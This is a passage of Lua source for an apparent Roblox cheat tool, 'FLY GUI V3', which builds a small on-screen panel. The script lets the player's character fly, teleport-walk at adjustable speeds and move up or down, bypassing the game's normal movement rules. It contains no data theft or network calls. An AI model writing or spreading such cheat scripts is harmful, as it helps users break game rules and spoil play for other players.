down.Size = UDim2.new(0, 44, 0, 28)
down.Font = Enum.Font.SourceSans
down.Text = "DOWN"
down.TextColor3 = Color3.fromRGB(0, 0, 0)
down.TextSize = 14.000
onof.Name = "onof"
onof.Parent = Frame
onof.BackgroundColor3 = Color3.fromRGB(255, 249, 74)
onof.Position = UDim2.new(0.702823281, 0, 0.491228074, 0)
onof.Size = UDim2.new(0, 56, 0, 28)
onof.Font = Enum.Font.SourceSans
onof.Text = "fly"
onof.TextColor3 = Color3.fromRGB(0, 0, 0)
onof.TextSize = 14.000
TextLabel.Parent = Frame
TextLabel.BackgroundColor3 = Color3.fromRGB(242, 60, 255)
TextLabel.Position = UDim2.new(0.469327301, 0, 0, 0)
TextLabel.Size = UDim2.new(0, 100, 0, 28)
TextLabel.Font = Enum.Font.SourceSans
TextLabel.Text = "FLY GUI V3"
TextLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel.TextScaled = true
TextLabel.TextSize = 14.000
TextLabel.TextWrapped = true
plus.Name = "plus"
plus.Parent = Frame
plus.BackgroundColor3 = Color3.fromRGB(133, 145, 255)
plus.Position = UDim2.new(0.231578946, 0, 0, 0)
plus.Size = UDim2.new(0, 45, 0, 28)
plus.Font = Enum.Font.SourceSans
plus.Text = "+"
plus.TextColor3 = Color3.fromRGB(0, 0, 0)
plus.TextScaled = true
plus.TextSize = 14.000
plus.TextWrapped = true
speed.Name = "speed"
speed.Parent = Frame
speed.BackgroundColor3 = Color3.fromRGB(255, 85, 0)
speed.Position = UDim2.new(0.468421042, 0, 0.491228074, 0)
speed.Size = UDim2.new(0, 44, 0, 28)
speed.Font = Enum.Font.SourceSans
speed.Text = "1"
speed.TextColor3 = Color3.fromRGB(0, 0, 0)
speed.TextScaled = true
speed.TextSize = 14.000
speed.TextWrapped = true
mine.Name = "mine"
mine.Parent = Frame
mine.BackgroundColor3 = Color3.fromRGB(123, 255, 247)
mine.Position = UDim2.new(0.231578946, 0, 0.491228074, 0)
mine.Size = UDim2.new(0, 45, 0, 29)
mine.Font = Enum.Font.SourceSans
mine.Text = "-"
mine.TextColor3 = Color3.fromRGB(0, 0, 0)
mine.TextScaled = true
mine.TextSize = 14.000
mine.TextWrapped = true
closebutton.Name = "Close"
closebutton.Parent = main.Frame
closebutton.BackgroundColor3 = Color3.fromRGB(225, 25, 0)
closebutton.Font = "SourceSans"
closebutton.Size = UDim2.new(0, 45, 0, 28)
closebutton.Text = "X"
closebutton.TextSize = 30
closebutton.Position = UDim2.new(0, 0, -1, 27)
mini.Name = "minimize"
mini.Parent = main.Frame
mini.BackgroundColor3 = Color3.fromRGB(192, 150, 230)
mini.Font = "SourceSans"
mini.Size = UDim2.new(0, 45, 0, 28)
mini.Text = "-"
mini.TextSize = 40
mini.Position = UDim2.new(0, 44, -1, 27)
mini2.Name = "minimize2"
mini2.Parent = main.Frame
mini2.BackgroundColor3 = Color3.fromRGB(192, 150, 230)
mini2.Font = "SourceSans"
mini2.Size = UDim2.new(0, 45, 0, 28)
mini2.Text = "+"
mini2.TextSize = 40
mini2.Position = UDim2.new(0, 44, -1, 57)
mini2.Visible = false
speeds = 1
local speaker = game:GetService("Players").LocalPlayer
local chr = game.Players.LocalPlayer.Character
local hum = chr and chr:FindFirstChildWhichIsA("Humanoid")
nowe = false
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FLY GUI V3";
Text = "BY XNEO";
Icon = "rbxthumb://type=Asset&id=5107182114&w=150&h=150"})
Duration = 5;
Frame.Active = true -- main = gui
Frame.Draggable = true
onof.MouseButton1Down:connect(function()
if nowe == true then
nowe = false
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,true)
speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.RunningNoPhysics)
else
nowe = true
for i = 1, speeds do
spawn(function()
local hb = game:GetService("RunService").Heartbeat
tpwalking = true
local chr = game.Players.LocalPlayer.Character
local hum = chr and chr:FindFirstChildWhichIsA("Humanoid")
while tpwalking and hb:Wait() and chr and hum and hum.Parent do
if hum.MoveDirection.Magnitude > 0 then
chr:TranslateBy(hum.MoveDirection)
end
end
end)
end
game.Players.LocalPlayer.Character.Animate.Disabled = true
local Char = game.Players.LocalPlayer.Character
local Hum = Char:FindFirstChildOfClass("Humanoid") or Char:FindFirstChildOfClass("AnimationController")
for i,v in next, Hum:GetPlayingAnimationTracks() do
v:AdjustSpeed(0)
end
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,false)
speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Swimming)
end
if game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid").RigType == Enum.HumanoidRigType.R6 then
local plr = game.Players.LocalPlayer
local torso = plr.Character.Torso
local flying = true
local deb = true
local ctrl = {f = 0, b = 0, l = 0, r = 0}
local lastctrl = {f = 0, b = 0, l = 0, r = 0}
local maxspeed = 50
local speed = 0
local bg = Instance.new("BodyGyro", torso)
bg.P = 9e4
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
bg.cframe = torso.CFrame
local bv = Instance.new("BodyVelocity", torso)
bv.velocity = Vector3.new(0,0.1,0)
bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
if nowe == true then
plr.Character.Humanoid.PlatformStand = true
end
while nowe == true or game:GetService("Players").LocalPlayer.Character.Humanoid.Health == 0 do
game:GetService("RunService").RenderStepped:Wait()
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
speed = speed+.5+(speed/maxspeed)
if speed > maxspeed then
speed = maxspeed
end
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
speed = speed-1
if speed < 0 then
speed = 0
end
end
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
else
bv.velocity = Vector3.new(0,0,0)
end
-- game.Players.LocalPlayer.Character.Animate.Disabled = true
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
end
ctrl = {f = 0, b = 0, l = 0, r = 0}
lastctrl = {f = 0, b = 0, l = 0, r = 0}
speed = 0
bg:Destroy()
bv:Destroy()
plr.Character.Humanoid.PlatformStand = false
game.Players.LocalPlayer.Character.Animate.Disabled = false
tpwalking = false
else
local plr = game.Players.LocalPlayer
local UpperTorso = plr.Character.UpperTorso
local flying = true
local deb = true
local ctrl = {f = 0, b = 0, l = 0, r = 0}
local lastctrl = {f = 0, b = 0, l = 0, r = 0}
local maxspeed = 50
local speed = 0
local bg = Instance.new("BodyGyro", UpperTorso)
bg.P = 9e4
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
bg.cframe = UpperTorso.CFrame
local bv = Instance.new("BodyVelocity", UpperTorso)
bv.velocity = Vector3.new(0,0.1,0)
bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
if nowe == true then
plr.Character.Humanoid.PlatformStand = true
end
while nowe == true or game:GetService("Players").LocalPlayer.Character.Humanoid.Health == 0 do
wait()
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
speed = speed+.5+(speed/maxspeed)
if speed > maxspeed then
speed = maxspeed
end
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
speed = speed-1
if speed < 0 then
speed = 0
end
end
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
else
bv.velocity = Vector3.new(0,0,0)
end
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
end
ctrl = {f = 0, b = 0, l = 0, r = 0}
lastctrl = {f = 0, b = 0, l = 0, r = 0}
speed = 0
bg:Destroy()
bv:Destroy()
plr.Character.Humanoid.PlatformStand = false
game.Players.LocalPlayer.Character.Animate.Disabled = false
tpwalking = false
end
end)
local tis
up.MouseButton1Down:connect(function()
tis = up.MouseEnter:connect(function()
while tis do
wait()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame * CFrame.new(0,1,0)
end
end)
end)
up.MouseLeave:connect(function()
if tis then
tis:Disconnect()
tis = nil
end
end)
local dis
down.MouseButton1Down:connect(function()
dis = down.MouseEnter:connect(function()
while dis do
wait()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame * CFrame.new(0,-1,0)
end
end)
end)
down.MouseLeave:connect(function()
if dis then
dis:Disconnect()
dis = nil
end
end)
game:GetService("Players").LocalPlayer.CharacterAdded:Connect(function(char)
wait(0.7)
game.Players.LocalPlayer.Character.Humanoid.PlatformStand = false
game.Players.LocalPlayer.Character.Animate.Disabled = false
end)
plus.MouseButton1Down:connect(function()
speeds = speeds + 1
speed.Text = speeds
if nowe == true then
tpwalking = false
for i = 1, speeds do
spawn(function()
local hb = game:GetService("RunService").Heartbeat
tpwalking = true
local chr = game.Players.LocalPlayer.Character
local hum = chr and chr:FindFirstChildWhichIsA("Humanoid")
while tpwalking and hb:Wait() and chr and hum and hum.Parent do
if hum.MoveDirection.Magnitude > 0 then
chr:TranslateBy(hum.MoveDirection)
end
end
end)
end
end
end)
mine.MouseButton1Down:connect(function()
if speeds == 1 then
speed.Text = 'cannot be less than 1'
wait(1)
speed.Text = speeds
else
speeds = speeds - 1
speed.Text = speeds
if nowe == true then
tpwalking = false
for i = 1, speeds do
spawn(function()
local hb = game:GetService("RunService").Heartbeat
tpwalking = true
local chr = game.Players.LocalPlayer.Character
local hum = chr and chr:FindFirstChildWhichIsA("Humanoid")
while tpwalking and hb:Wait() and chr and hum and hum.Parent do
if hum.MoveDirection.Magnitude > 0 then
chr:TranslateBy(hum.MoveDirection)
end
end
end)
end
end
end
end)
closebutton.MouseButton1Click:Connect(function()
main:Destroy()
end)
mini.MouseButton1Click:Connect(function()
up.Visible = false
down.Visible = false
onof.Visible = false
plus.Visible = false
speed.Visible = false
mine.Visible = false
mini.Visible = false
mini2.Visible = true
main.Frame.BackgroundTransparency = 1
closebutton.Position = UDim2.new(0, 0, -1, 57)
end)
mini2.MouseButton1Click:Connect(function()
up.Visible = true
down.Visible = true
onof.Visible = true
plus.Visible = true
speed.Visible = true
mine.Visible = true
mini.Visible = true
mini2.Visible = false
main.Frame.BackgroundTransparency = 0
closebutton.Position = UDim2.new(0, 0, -1, 27)
end)
end)
end;
task.spawn(C_d);
local function C_e()
local script = LMG2L["LocalScript_e"];
local frame = script.Parent
local UserInputService = game:GetService("UserInputService")
local dragging = false
local dragInput
local dragStart
local startPos
local function update(input)
local delta = input.Position - dragStart
frame.Position = UDim2.new(
startPos.X.Scale,
startPos.X.Offset + delta.X,
startPos.Y.Scale,
startPos.Y.Offset + delta.Y
)
end
frame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = true
dragStart = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
frame.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement then
dragInput = input
end
end)
UserInputService.InputChanged:Connect(function(input)
if input == dragInput and dragging then
update(input)
end
end)
end;
task.spawn(C_e);
return LMG2L["ScreenGui_1"], require;